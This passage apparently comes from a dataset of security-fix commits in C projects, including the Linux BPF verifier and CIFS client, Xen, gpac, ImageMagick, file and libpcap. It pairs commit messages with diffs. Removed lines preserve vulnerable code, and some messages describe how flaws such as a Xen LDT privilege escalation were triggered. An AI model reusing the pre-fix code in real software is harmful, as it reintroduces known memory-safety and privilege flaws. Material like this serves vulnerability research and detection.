BPF_ALU64_IMM(BPF_MUL, off_reg, -1);\n+\t\t\t*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);\n+\t\t\t*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);\n+\t\t\t*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);\n+\t\t\t*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);\n+\t\t\t*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);\n+\t\t\tif (issrc) {\n+\t\t\t\t*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX,\n+\t\t\t\t\t\t\t off_reg);\n+\t\t\t\tinsn->src_reg = BPF_REG_AX;\n+\t\t\t} else {\n+\t\t\t\t*patch++ = BPF_ALU64_REG(BPF_AND, off_reg,\n+\t\t\t\t\t\t\t BPF_REG_AX);\n+\t\t\t}\n+\t\t\tif (isneg)\n+\t\t\t\tinsn->code = insn->code == code_add ?\n+\t\t\t\t\t code_sub : code_add;\n+\t\t\t*patch++ = *insn;\n+\t\t\tif (issrc && isneg)\n+\t\t\t\t*patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);\n+\t\t\tcnt = patch - insn_buf;\n+\n+\t\t\tnew_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt);\n+\t\t\tif (!new_prog)\n+\t\t\t\treturn -ENOMEM;\n+\n+\t\t\tdelta += cnt - 1;\n+\t\t\tenv->prog = prog = new_prog;\n+\t\t\tinsn = new_prog->insnsi + i + delta;\n+\t\t\tcontinue;\n+\t\t}\n+\n \t\tif (insn->code != (BPF_JMP | BPF_CALL))\n \t\t\tcontinue;\n \t\tif (insn->src_reg == BPF_PSEUDO_CALL)", "sections": [{"section": "@@ -710,6 +710,7 @@ static int copy_verifier_state(struct bpf_verifier_state *dst_state,\n \t\tfree_func_state(dst_state->frame[i]);\n \t\tdst_state->frame[i] = NULL;\n \t}\n+\tdst_state->speculative = src->speculative;\n \tdst_state->curframe = src->curframe;\n \tfor (i = 0; i <= src->curframe; i++) {\n \t\tdst = dst_state->frame[i];\n", "related": false}, {"section": "@@ -754,7 +755,8 @@ static int pop_stack(struct bpf_verifier_env *env, int *prev_insn_idx,\n }\n \n static struct bpf_verifier_state *push_stack(struct bpf_verifier_env *env,\n-\t\t\t\t\t int insn_idx, int prev_insn_idx)\n+\t\t\t\t\t int insn_idx, int prev_insn_idx,\n+\t\t\t\t\t bool speculative)\n {\n \tstruct bpf_verifier_state *cur = env->cur_state;\n \tstruct bpf_verifier_stack_elem *elem;\n", "related": false}, {"section": "@@ -772,6 +774,7 @@ static struct bpf_verifier_state *push_stack(struct bpf_verifier_env *env,\n \terr = copy_verifier_state(&elem->st, cur);\n \tif (err)\n \t\tgoto err;\n+\telem->st.speculative |= speculative;\n \tif (env->stack_size > BPF_COMPLEXITY_LIMIT_STACK) {\n \t\tverbose(env, \"BPF program is too complex\\n\");\n \t\tgoto err;\n", "related": false}, {"section": "@@ -3067,6 +3070,102 @@ static bool check_reg_sane_offset(struct bpf_verifier_env *env,\n \treturn true;\n }\n \n+static struct bpf_insn_aux_data *cur_aux(struct bpf_verifier_env *env)\n+{\n+\treturn &env->insn_aux_data[env->insn_idx];\n+}\n+\n+static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,\n+\t\t\t u32 *ptr_limit, u8 opcode, bool off_is_neg)\n+{\n+\tbool mask_to_left = (opcode == BPF_ADD && off_is_neg) ||\n+\t\t\t (opcode == BPF_SUB && !off_is_neg);\n+\tu32 off;\n+\n+\tswitch (ptr_reg->type) {\n+\tcase PTR_TO_STACK:\n+\t\toff = ptr_reg->off + ptr_reg->var_off.value;\n+\t\tif (mask_to_left)\n+\t\t\t*ptr_limit = MAX_BPF_STACK + off;\n+\t\telse\n+\t\t\t*ptr_limit = -off;\n+\t\treturn 0;\n+\tcase PTR_TO_MAP_VALUE:\n+\t\tif (mask_to_left) {\n+\t\t\t*ptr_limit = ptr_reg->umax_value + ptr_reg->off;\n+\t\t} else {\n+\t\t\toff = ptr_reg->smin_value + ptr_reg->off;\n+\t\t\t*ptr_limit = ptr_reg->map_ptr->value_size - off;\n+\t\t}\n+\t\treturn 0;\n+\tdefault:\n+\t\treturn -EINVAL;\n+\t}\n+}\n+\n+static int sanitize_ptr_alu(struct bpf_verifier_env *env,\n+\t\t\t struct bpf_insn *insn,\n+\t\t\t const struct bpf_reg_state *ptr_reg,\n+\t\t\t struct bpf_reg_state *dst_reg,\n+\t\t\t bool off_is_neg)\n+{\n+\tstruct bpf_verifier_state *vstate = env->cur_state;\n+\tstruct bpf_insn_aux_data *aux = cur_aux(env);\n+\tbool ptr_is_dst_reg = ptr_reg == dst_reg;\n+\tu8 opcode = BPF_OP(insn->code);\n+\tu32 alu_state, alu_limit;\n+\tstruct bpf_reg_state tmp;\n+\tbool ret;\n+\n+\tif (env->allow_ptr_leaks || BPF_SRC(insn->code) == BPF_K)\n+\t\treturn 0;\n+\n+\t/* We already marked aux for masking from non-speculative\n+\t * paths, thus we got here in the first place. We only care\n+\t * to explore bad access from here.\n+\t */\n+\tif (vstate->speculative)\n+\t\tgoto do_sim;\n+\n+\talu_state = off_is_neg ? BPF_ALU_NEG_VALUE : 0;\n+\talu_state |= ptr_is_dst_reg ?\n+\t\t BPF_ALU_SANITIZE_SRC : BPF_ALU_SANITIZE_DST;\n+\n+\tif (retrieve_ptr_limit(ptr_reg, &alu_limit, opcode, off_is_neg))\n+\t\treturn 0;\n+\n+\t/* If we arrived here from different branches with different\n+\t * limits to sanitize, then this won't work.\n+\t */\n+\tif (aux->alu_state &&\n+\t (aux->alu_state != alu_state ||\n+\t aux->alu_limit != alu_limit))\n+\t\treturn -EACCES;\n+\n+\t/* Corresponding fixup done in fixup_bpf_calls(). */\n+\taux->alu_state = alu_state;\n+\taux->alu_limit = alu_limit;\n+\n+do_sim:\n+\t/* Simulate and find potential out-of-bounds access under\n+\t * speculative execution from truncation as a result of\n+\t * masking when off was not within expected range. If off\n+\t * sits in dst, then we temporarily need to move ptr there\n+\t * to simulate dst (== 0) +/-= ptr. Needed, for example,\n+\t * for cases where we use K-based arithmetic in one direction\n+\t * and truncated reg-based in the other in order to explore\n+\t * bad access.\n+\t */\n+\tif (!ptr_is_dst_reg) {\n+\t\ttmp = *dst_reg;\n+\t\t*dst_reg = *ptr_reg;\n+\t}\n+\tret = push_stack(env, env->insn_idx + 1, env->insn_idx, true);\n+\tif (!ptr_is_dst_reg)\n+\t\t*dst_reg = tmp;\n+\treturn !ret ? -EFAULT : 0;\n+}\n+\n /* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.\n * Caller should also handle BPF_MOV case separately.\n * If we return -EACCES, caller may want to try again treating pointer as a\n", "related": false}, {"section": "@@ -3087,6 +3186,7 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,\n \t umin_ptr = ptr_reg->umin_value, umax_ptr = ptr_reg->umax_value;\n \tu32 dst = insn->dst_reg, src = insn->src_reg;\n \tu8 opcode = BPF_OP(insn->code);\n+\tint ret;\n \n \tdst_reg = ®s[dst];\n \n", "related": false}, {"section": "@@ -3142,6 +3242,11 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,\n \n \tswitch (opcode) {\n \tcase BPF_ADD:\n+\t\tret = sanitize_ptr_alu(env, insn, ptr_reg, dst_reg, smin_val < 0);\n+\t\tif (ret < 0) {\n+\t\t\tverbose(env, \"R%d tried to add from different maps or paths\\n\", dst);\n+\t\t\treturn ret;\n+\t\t}\n \t\t/* We can take a fixed offset as long as it doesn't overflow\n \t\t * the s32 'off' field\n \t\t */\n", "related": false}, {"section": "@@ -3192,6 +3297,11 @@ static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,\n \t\t}\n \t\tbreak;\n \tcase BPF_SUB:\n+\t\tret = sanitize_ptr_alu(env, insn, ptr_reg, dst_reg, smin_val < 0);\n+\t\tif (ret < 0) {\n+\t\t\tverbose(env, \"R%d tried to sub from different maps or paths\\n\", dst);\n+\t\t\treturn ret;\n+\t\t}\n \t\tif (dst_reg == off_reg) {\n \t\t\t/* scalar -= pointer. Creates an unknown scalar */\n \t\t\tverbose(env, \"R%d tried to subtract pointer from scalar\\n\",\n", "related": false}, {"section": "@@ -4389,7 +4499,8 @@ static int check_cond_jmp_op(struct bpf_verifier_env *env,\n \t\t}\n \t}\n \n-\tother_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx);\n+\tother_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx,\n+\t\t\t\t false);\n \tif (!other_branch)\n \t\treturn -EFAULT;\n \tother_branch_regs = other_branch->frame[other_branch->curframe]->regs;\n", "related": false}, {"section": "@@ -5499,6 +5610,12 @@ static bool states_equal(struct bpf_verifier_env *env,\n \tif (old->curframe != cur->curframe)\n \t\treturn false;\n \n+\t/* Verification state from speculative execution simulation\n+\t * must never prune a non-speculative execution one.\n+\t */\n+\tif (old->speculative && !cur->speculative)\n+\t\treturn false;\n+\n \t/* for states to be equal callsites have to be the same\n \t * and all frame states need to be equivalent\n \t */\n", "related": false}, {"section": "@@ -5700,6 +5817,7 @@ static int do_check(struct bpf_verifier_env *env)\n \tif (!state)\n \t\treturn -ENOMEM;\n \tstate->curframe = 0;\n+\tstate->speculative = false;\n \tstate->frame[0] = kzalloc(sizeof(struct bpf_func_state), GFP_KERNEL);\n \tif (!state->frame[0]) {\n \t\tkfree(state);\n", "related": false}, {"section": "@@ -5739,8 +5857,10 @@ static int do_check(struct bpf_verifier_env *env)\n \t\t\t/* found equivalent state, can prune the search */\n \t\t\tif (env->log.level) {\n \t\t\t\tif (do_print_state)\n-\t\t\t\t\tverbose(env, \"\\nfrom %d to %d: safe\\n\",\n-\t\t\t\t\t\tenv->prev_insn_idx, env->insn_idx);\n+\t\t\t\t\tverbose(env, \"\\nfrom %d to %d%s: safe\\n\",\n+\t\t\t\t\t\tenv->prev_insn_idx, env->insn_idx,\n+\t\t\t\t\t\tenv->cur_state->speculative ?\n+\t\t\t\t\t\t\" (speculative execution)\" : \"\");\n \t\t\t\telse\n \t\t\t\t\tverbose(env, \"%d: safe\\n\", env->insn_idx);\n \t\t\t}\n", "related": false}, {"section": "@@ -5757,8 +5877,10 @@ static int do_check(struct bpf_verifier_env *env)\n \t\t\tif (env->log.level > 1)\n \t\t\t\tverbose(env, \"%d:\", env->insn_idx);\n \t\t\telse\n-\t\t\t\tverbose(env, \"\\nfrom %d to %d:\",\n-\t\t\t\t\tenv->prev_insn_idx, env->insn_idx);\n+\t\t\t\tverbose(env, \"\\nfrom %d to %d%s:\",\n+\t\t\t\t\tenv->prev_insn_idx, env->insn_idx,\n+\t\t\t\t\tenv->cur_state->speculative ?\n+\t\t\t\t\t\" (speculative execution)\" : \"\");\n \t\t\tprint_verifier_state(env, state->frame[state->curframe]);\n \t\t\tdo_print_state = false;\n \t\t}\n", "related": false}, {"section": "@@ -6750,6 +6872,57 @@ static int fixup_bpf_calls(struct bpf_verifier_env *env)\n \t\t\tcontinue;\n \t\t}\n \n+\t\tif (insn->code == (BPF_ALU64 | BPF_ADD | BPF_X) ||\n+\t\t insn->code == (BPF_ALU64 | BPF_SUB | BPF_X)) {\n+\t\t\tconst u8 code_add = BPF_ALU64 | BPF_ADD | BPF_X;\n+\t\t\tconst u8 code_sub = BPF_ALU64 | BPF_SUB | BPF_X;\n+\t\t\tstruct bpf_insn insn_buf[16];\n+\t\t\tstruct bpf_insn *patch = &insn_buf[0];\n+\t\t\tbool issrc, isneg;\n+\t\t\tu32 off_reg;\n+\n+\t\t\taux = &env->insn_aux_data[i + delta];\n+\t\t\tif (!aux->alu_state)\n+\t\t\t\tcontinue;\n+\n+\t\t\tisneg = aux->alu_state & BPF_ALU_NEG_VALUE;\n+\t\t\tissrc = (aux->alu_state & BPF_ALU_SANITIZE) ==\n+\t\t\t\tBPF_ALU_SANITIZE_SRC;\n+\n+\t\t\toff_reg = issrc ? insn->src_reg : insn->dst_reg;\n+\t\t\tif (isneg)\n+\t\t\t\t*patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);\n+\t\t\t*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);\n+\t\t\t*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);\n+\t\t\t*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);\n+\t\t\t*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);\n+\t\t\t*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);\n+\t\t\tif (issrc) {\n+\t\t\t\t*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX,\n+\t\t\t\t\t\t\t off_reg);\n+\t\t\t\tinsn->src_reg = BPF_REG_AX;\n+\t\t\t} else {\n+\t\t\t\t*patch++ = BPF_ALU64_REG(BPF_AND, off_reg,\n+\t\t\t\t\t\t\t BPF_REG_AX);\n+\t\t\t}\n+\t\t\tif (isneg)\n+\t\t\t\tinsn->code = insn->code == code_add ?\n+\t\t\t\t\t code_sub : code_add;\n+\t\t\t*patch++ = *insn;\n+\t\t\tif (issrc && isneg)\n+\t\t\t\t*patch++ = BPF_ALU64_IMM(BPF_MUL, off_reg, -1);\n+\t\t\tcnt = patch - insn_buf;\n+\n+\t\t\tnew_prog = bpf_patch_insn_data(env, i + delta, insn_buf, cnt);\n+\t\t\tif (!new_prog)\n+\t\t\t\treturn -ENOMEM;\n+\n+\t\t\tdelta += cnt - 1;\n+\t\t\tenv->prog = prog = new_prog;\n+\t\t\tinsn = new_prog->insnsi + i + delta;\n+\t\t\tcontinue;\n+\t\t}\n+\n \t\tif (insn->code != (BPF_JMP | BPF_CALL))\n \t\t\tcontinue;\n \t\tif (insn->src_reg == BPF_PSEUDO_CALL)", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/isomedia/box_code_base.c", "commit_id": "d2371b4b204f0a3c0af51ad4e9b491144dd1225c", "commit_message": "prevent dref memleak on invalid input (#1183)", "patch": "@@ -931,8 +931,11 @@ GF_Err dinf_Read(GF_Box *s, GF_BitStream *bs)\n \t\treturn e;\n \t}\n \tif (!((GF_DataInformationBox *)s)->dref) {\n+\t\tGF_Box* dref;\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Missing dref box in dinf\\n\"));\n-\t\t((GF_DataInformationBox *)s)->dref = (GF_DataReferenceBox *)gf_isom_box_new(GF_ISOM_BOX_TYPE_DREF);\n+\t\tdref = gf_isom_box_new(GF_ISOM_BOX_TYPE_DREF);\n+\t\t((GF_DataInformationBox *)s)->dref = (GF_DataReferenceBox *)dref;\n+\t\tgf_isom_box_add_for_dump_mode(s, dref);\n \t}\n \treturn GF_OK;\n }", "sections": [{"section": "@@ -931,8 +931,11 @@ GF_Err dinf_Read(GF_Box *s, GF_BitStream *bs)\n \t\treturn e;\n \t}\n \tif (!((GF_DataInformationBox *)s)->dref) {\n+\t\tGF_Box* dref;\n \t\tGF_LOG(GF_LOG_ERROR, GF_LOG_CONTAINER, (\"[iso file] Missing dref box in dinf\\n\"));\n-\t\t((GF_DataInformationBox *)s)->dref = (GF_DataReferenceBox *)gf_isom_box_new(GF_ISOM_BOX_TYPE_DREF);\n+\t\tdref = gf_isom_box_new(GF_ISOM_BOX_TYPE_DREF);\n+\t\t((GF_DataInformationBox *)s)->dref = (GF_DataReferenceBox *)dref;\n+\t\tgf_isom_box_add_for_dump_mode(s, dref);\n \t}\n \treturn GF_OK;\n }", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/cifs/smb2pdu.c", "commit_id": "b57a55e2200ede754e4dc9cce4ba9402544b9365", "commit_message": "cifs: Fix lease buffer length error\n\nThere is a KASAN slab-out-of-bounds:\nBUG: KASAN: slab-out-of-bounds in _copy_from_iter_full+0x783/0xaa0\nRead of size 80 at addr ffff88810c35e180 by task mount.cifs/539\n\nCPU: 1 PID: 539 Comm: mount.cifs Not tainted 4.19 #10\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\n rel-1.12.0-0-ga698c8995f-prebuilt.qemu.org 04/01/2014\nCall Trace:\n dump_stack+0xdd/0x12a\n print_address_description+0xa7/0x540\n kasan_report+0x1ff/0x550\n check_memory_region+0x2f1/0x310\n memcpy+0x2f/0x80\n _copy_from_iter_full+0x783/0xaa0\n tcp_sendmsg_locked+0x1840/0x4140\n tcp_sendmsg+0x37/0x60\n inet_sendmsg+0x18c/0x490\n sock_sendmsg+0xae/0x130\n smb_send_kvec+0x29c/0x520\n __smb_send_rqst+0x3ef/0xc60\n smb_send_rqst+0x25a/0x2e0\n compound_send_recv+0x9e8/0x2af0\n cifs_send_recv+0x24/0x30\n SMB2_open+0x35e/0x1620\n open_shroot+0x27b/0x490\n smb2_open_op_close+0x4e1/0x590\n smb2_query_path_info+0x2ac/0x650\n cifs_get_inode_info+0x1058/0x28f0\n cifs_root_iget+0x3bb/0xf80\n cifs_smb3_do_mount+0xe00/0x14c0\n cifs_do_mount+0x15/0x20\n mount_fs+0x5e/0x290\n vfs_kern_mount+0x88/0x460\n do_mount+0x398/0x31e0\n ksys_mount+0xc6/0x150\n __x64_sys_mount+0xea/0x190\n do_syscall_64+0x122/0x590\n entry_SYSCALL_64_after_hwframe+0x44/0xa9\n\nIt can be reproduced by the following step:\n 1. samba configured with: server max protocol = SMB2_10\n 2. mount -o vers=default\n\nWhen parse the mount version parameter, the 'ops' and 'vals'\nwas setted to smb30, if negotiate result is smb21, just\nupdate the 'ops' to smb21, but the 'vals' is still smb30.\nWhen add lease context, the iov_base is allocated with smb21\nops, but the iov_len is initiallited with the smb30. Because\nthe iov_len is longer than iov_base, when send the message,\ncopy array out of bounds.\n\nwe need to keep the 'ops' and 'vals' consistent.\n\nFixes: 9764c02fcbad (\"SMB3: Add support for multidialect negotiate (SMB2.1 and later)\")\nFixes: d5c7076b772a (\"smb3: add smb3.1.1 to default dialect list\")\n\nSigned-off-by: ZhangXiaoxu \nSigned-off-by: Steve French \nCC: Stable \nReviewed-by: Pavel Shilovsky ", "patch": "@@ -832,8 +832,11 @@ SMB2_negotiate(const unsigned int xid, struct cifs_ses *ses)\n \t\t} else if (rsp->DialectRevision == cpu_to_le16(SMB21_PROT_ID)) {\n \t\t\t/* ops set to 3.0 by default for default so update */\n \t\t\tses->server->ops = &smb21_operations;\n-\t\t} else if (rsp->DialectRevision == cpu_to_le16(SMB311_PROT_ID))\n+\t\t\tses->server->vals = &smb21_values;\n+\t\t} else if (rsp->DialectRevision == cpu_to_le16(SMB311_PROT_ID)) {\n \t\t\tses->server->ops = &smb311_operations;\n+\t\t\tses->server->vals = &smb311_values;\n+\t\t}\n \t} else if (le16_to_cpu(rsp->DialectRevision) !=\n \t\t\t\tses->server->vals->protocol_id) {\n \t\t/* if requested single dialect ensure returned dialect matched */", "sections": [{"section": "@@ -832,8 +832,11 @@ SMB2_negotiate(const unsigned int xid, struct cifs_ses *ses)\n \t\t} else if (rsp->DialectRevision == cpu_to_le16(SMB21_PROT_ID)) {\n \t\t\t/* ops set to 3.0 by default for default so update */\n \t\t\tses->server->ops = &smb21_operations;\n-\t\t} else if (rsp->DialectRevision == cpu_to_le16(SMB311_PROT_ID))\n+\t\t\tses->server->vals = &smb21_values;\n+\t\t} else if (rsp->DialectRevision == cpu_to_le16(SMB311_PROT_ID)) {\n \t\t\tses->server->ops = &smb311_operations;\n+\t\t\tses->server->vals = &smb311_values;\n+\t\t}\n \t} else if (le16_to_cpu(rsp->DialectRevision) !=\n \t\t\t\tses->server->vals->protocol_id) {\n \t\t/* if requested single dialect ensure returned dialect matched */", "related": false}]} +{"owner": "xen-project", "repo": "xen", "language": "C", "file_name": "xen/common/domain.c", "commit_id": "319f9a0ba94c7db505cd5dd9cb0b037ab1aa8e12", "commit_message": "passthrough: quarantine PCI devices\n\nWhen a PCI device is assigned to an untrusted domain, it is possible for\nthat domain to program the device to DMA to an arbitrary address. The\nIOMMU is used to protect the host from malicious DMA by making sure that\nthe device addresses can only target memory assigned to the guest. However,\nwhen the guest domain is torn down the device is assigned back to dom0,\nthus allowing any in-flight DMA to potentially target critical host data.\n\nThis patch introduces a 'quarantine' for PCI devices using dom_io. When\nthe toolstack makes a device assignable (by binding it to pciback), it\nwill now also assign it to DOMID_IO and the device will only be assigned\nback to dom0 when the device is made unassignable again. Whilst device is\nassignable it will only ever transfer between dom_io and guest domains.\ndom_io is actually only used as a sentinel domain for quarantining purposes;\nit is not configured with any IOMMU mappings. Assignment to dom_io simply\nmeans that the device's initiator (requestor) identifier is not present in\nthe IOMMU's device table and thus any DMA transactions issued will be\nterminated with a fault condition.\n\nIn addition, a fix to assignment handling is made for VT-d. Failure\nduring the assignment step should not lead to a device still being\nassociated with its prior owner. Hand the device to DomIO temporarily,\nuntil the assignment step has completed successfully. Remove the PI\nhooks from the source domain then earlier as well.\n\nFailure of the recovery reassign_device_ownership() may not go silent:\nThere e.g. may still be left over RMRR mappings in the domain assignment\nto which has failed, and hence we can't allow that domain to continue\nexecuting.\n\nNOTE: This patch also includes one printk() cleanup; the\n \"XEN_DOMCTL_assign_device: \" tag is dropped in iommu_do_pci_domctl(),\n since similar printk()-s elsewhere also don't log such a tag.\n\nThis is XSA-302.\n\nSigned-off-by: Paul Durrant \nSigned-off-by: Jan Beulich \nSigned-off-by: Ian Jackson ", "patch": "@@ -548,6 +548,7 @@ void __init setup_system_domains(void)\n * Initialise our DOMID_IO domain.\n * This domain owns I/O pages that are within the range of the page_info\n * array. Mappings occur at the priv of the caller.\n+ * Quarantined PCI devices will be associated with this domain.\n */\n dom_io = domain_create(DOMID_IO, NULL, false);\n if ( IS_ERR(dom_io) )", "sections": [{"section": "@@ -548,6 +548,7 @@ void __init setup_system_domains(void)\n * Initialise our DOMID_IO domain.\n * This domain owns I/O pages that are within the range of the page_info\n * array. Mappings occur at the priv of the caller.\n+ * Quarantined PCI devices will be associated with this domain.\n */\n dom_io = domain_create(DOMID_IO, NULL, false);\n if ( IS_ERR(dom_io) )", "related": false}]} +{"owner": "xen-project", "repo": "xen", "language": "C", "file_name": "xen/arch/x86/pv/mm.c", "commit_id": "93021cbe880a8013691a48d0febef8ed7d3e3ebd", "commit_message": "x86/PV: check GDT/LDT limits during emulation\n\nAccesses beyond the LDT limit originating from emulation would trigger\nthe ASSERT() in pv_map_ldt_shadow_page(). On production builds such\naccesses would cause an attempt to promote the touched page (offset from\nthe present LDT base address) to a segment descriptor one. If this\nhappens to succeed, guest user mode would be able to elevate its\nprivileges to that of the guest kernel. This is particularly easy when\nthere's no LDT at all, in which case the LDT base stored internally to\nXen is simply zero.\n\nAlso adjust the ASSERT() that was triggering: It was off by one to\nbegin with, and for production builds we also better use\nASSERT_UNREACHABLE() instead with suitable recovery code afterwards.\n\nThis is XSA-298.\n\nReported-by: Andrew Cooper \nSigned-off-by: Jan Beulich \nReviewed-by: Andrew Cooper ", "patch": "@@ -92,12 +92,16 @@ bool pv_map_ldt_shadow_page(unsigned int offset)\n BUG_ON(unlikely(in_irq()));\n \n /*\n- * Hardware limit checking should guarantee this property. NB. This is\n+ * Prior limit checking should guarantee this property. NB. This is\n * safe as updates to the LDT can only be made by MMUEXT_SET_LDT to the\n * current vcpu, and vcpu_reset() will block until this vcpu has been\n * descheduled before continuing.\n */\n- ASSERT((offset >> 3) <= curr->arch.pv.ldt_ents);\n+ if ( unlikely((offset >> 3) >= curr->arch.pv.ldt_ents) )\n+ {\n+ ASSERT_UNREACHABLE();\n+ return false;\n+ }\n \n if ( is_pv_32bit_domain(currd) )\n linear = (uint32_t)linear;", "sections": [{"section": "@@ -92,12 +92,16 @@ bool pv_map_ldt_shadow_page(unsigned int offset)\n BUG_ON(unlikely(in_irq()));\n \n /*\n- * Hardware limit checking should guarantee this property. NB. This is\n+ * Prior limit checking should guarantee this property. NB. This is\n * safe as updates to the LDT can only be made by MMUEXT_SET_LDT to the\n * current vcpu, and vcpu_reset() will block until this vcpu has been\n * descheduled before continuing.\n */\n- ASSERT((offset >> 3) <= curr->arch.pv.ldt_ents);\n+ if ( unlikely((offset >> 3) >= curr->arch.pv.ldt_ents) )\n+ {\n+ ASSERT_UNREACHABLE();\n+ return false;\n+ }\n \n if ( is_pv_32bit_domain(currd) )\n linear = (uint32_t)linear;", "related": false}]} +{"owner": "file", "repo": "file", "language": "C", "file_name": "src/cdf.h", "commit_id": "46a8443f76cec4b41ec736eca396984c74664f84", "commit_message": "Limit the number of elements in a vector (found by oss-fuzz)", "patch": "@@ -48,6 +48,7 @@\n typedef int32_t cdf_secid_t;\n \n #define CDF_LOOP_LIMIT\t\t\t\t\t10000\n+#define CDF_ELEMENT_LIMIT\t\t\t\t100000\n \n #define CDF_SECID_NULL\t\t\t\t\t0\n #define CDF_SECID_FREE\t\t\t\t\t-1", "sections": [{"section": "@@ -48,6 +48,7 @@\n typedef int32_t cdf_secid_t;\n \n #define CDF_LOOP_LIMIT\t\t\t\t\t10000\n+#define CDF_ELEMENT_LIMIT\t\t\t\t100000\n \n #define CDF_SECID_NULL\t\t\t\t\t0\n #define CDF_SECID_FREE\t\t\t\t\t-1", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick", "language": "C", "file_name": "MagickCore/draw.c", "commit_id": "ecf7c6b288e11e7e7f75387c5e9e93e423b98397", "commit_message": "...", "patch": "@@ -6159,8 +6159,8 @@ static MagickBooleanType TraceBezier(MVGInfo *mvg_info,\n quantum=(size_t) alpha;\n }\n }\n- quantum=MagickMin(quantum/number_coordinates,BezierQuantum);\n primitive_info=(*mvg_info->primitive_info)+mvg_info->offset;\n+ quantum=MagickMin(quantum/number_coordinates,BezierQuantum);\n coefficients=(double *) AcquireQuantumMemory(number_coordinates,\n sizeof(*coefficients));\n points=(PointInfo *) AcquireQuantumMemory(quantum,number_coordinates*\n@@ -6182,6 +6182,7 @@ static MagickBooleanType TraceBezier(MVGInfo *mvg_info,\n coefficients=(double *) RelinquishMagickMemory(coefficients);\n return(MagickFalse);\n }\n+ primitive_info=(*mvg_info->primitive_info)+mvg_info->offset;\n /*\n Compute bezier points.\n */", "sections": [{"section": "@@ -6159,8 +6159,8 @@ static MagickBooleanType TraceBezier(MVGInfo *mvg_info,\n quantum=(size_t) alpha;\n }\n }\n- quantum=MagickMin(quantum/number_coordinates,BezierQuantum);\n primitive_info=(*mvg_info->primitive_info)+mvg_info->offset;\n+ quantum=MagickMin(quantum/number_coordinates,BezierQuantum);\n coefficients=(double *) AcquireQuantumMemory(number_coordinates,\n sizeof(*coefficients));\n points=(PointInfo *) AcquireQuantumMemory(quantum,number_coordinates*\n", "related": false}, {"section": "@@ -6182,6 +6182,7 @@ static MagickBooleanType TraceBezier(MVGInfo *mvg_info,\n coefficients=(double *) RelinquishMagickMemory(coefficients);\n return(MagickFalse);\n }\n+ primitive_info=(*mvg_info->primitive_info)+mvg_info->offset;\n /*\n Compute bezier points.\n */", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "libpcap", "language": "C", "file_name": "sf-pcapng.c", "commit_id": "a5a36d9e82dde7265e38fe1f87b7f11c461c29f6", "commit_message": "Fix some format warnings.", "patch": "@@ -85,7 +85,7 @@ struct option_header {\n * Section Header Block.\n */\n #define BT_SHB\t\t\t0x0A0D0D0A\n-#define BT_SHB_INSANE_MAX 1024*1024*1 /* 1MB should be enough */\n+#define BT_SHB_INSANE_MAX 1024U*1024U*1U /* 1MB should be enough */\n struct section_header_block {\n \tbpf_u_int32\tbyte_order_magic;\n \tu_short\t\tmajor_version;\n@@ -859,10 +859,10 @@ pcap_ng_check_header(const uint8_t *magic, FILE *fp, u_int precision,\n \tif (total_length < sizeof(*bhdrp) + sizeof(*shbp) + sizeof(struct block_trailer) ||\n (total_length > BT_SHB_INSANE_MAX)) {\n \t\tpcap_snprintf(errbuf, PCAP_ERRBUF_SIZE,\n-\t\t \"Section Header Block in pcapng dump file has invalid length %\" PRIsize \" < _%lu_ < %lu (BT_SHB_INSANE_MAX)\",\n- sizeof(*bhdrp) + sizeof(*shbp) + sizeof(struct block_trailer),\n- total_length,\n- BT_SHB_INSANE_MAX);\n+\t\t \"Section Header Block in pcapng dump file has invalid length %\" PRIsize \" < _%u_ < %u (BT_SHB_INSANE_MAX)\",\n+\t\t sizeof(*bhdrp) + sizeof(*shbp) + sizeof(struct block_trailer),\n+\t\t total_length,\n+\t\t BT_SHB_INSANE_MAX);\n \n \t\t*err = 1;\n \t\treturn (NULL);", "sections": [{"section": "@@ -85,7 +85,7 @@ struct option_header {\n * Section Header Block.\n */\n #define BT_SHB\t\t\t0x0A0D0D0A\n-#define BT_SHB_INSANE_MAX 1024*1024*1 /* 1MB should be enough */\n+#define BT_SHB_INSANE_MAX 1024U*1024U*1U /* 1MB should be enough */\n struct section_header_block {\n \tbpf_u_int32\tbyte_order_magic;\n \tu_short\t\tmajor_version;\n", "related": false}, {"section": "@@ -859,10 +859,10 @@ pcap_ng_check_header(const uint8_t *magic, FILE *fp, u_int precision,\n \tif (total_length < sizeof(*bhdrp) + sizeof(*shbp) + sizeof(struct block_trailer) ||\n (total_length > BT_SHB_INSANE_MAX)) {\n \t\tpcap_snprintf(errbuf, PCAP_ERRBUF_SIZE,\n-\t\t \"Section Header Block in pcapng dump file has invalid length %\" PRIsize \" < _%lu_ < %lu (BT_SHB_INSANE_MAX)\",\n- sizeof(*bhdrp) + sizeof(*shbp) + sizeof(struct block_trailer),\n- total_length,\n- BT_SHB_INSANE_MAX);\n+\t\t \"Section Header Block in pcapng dump 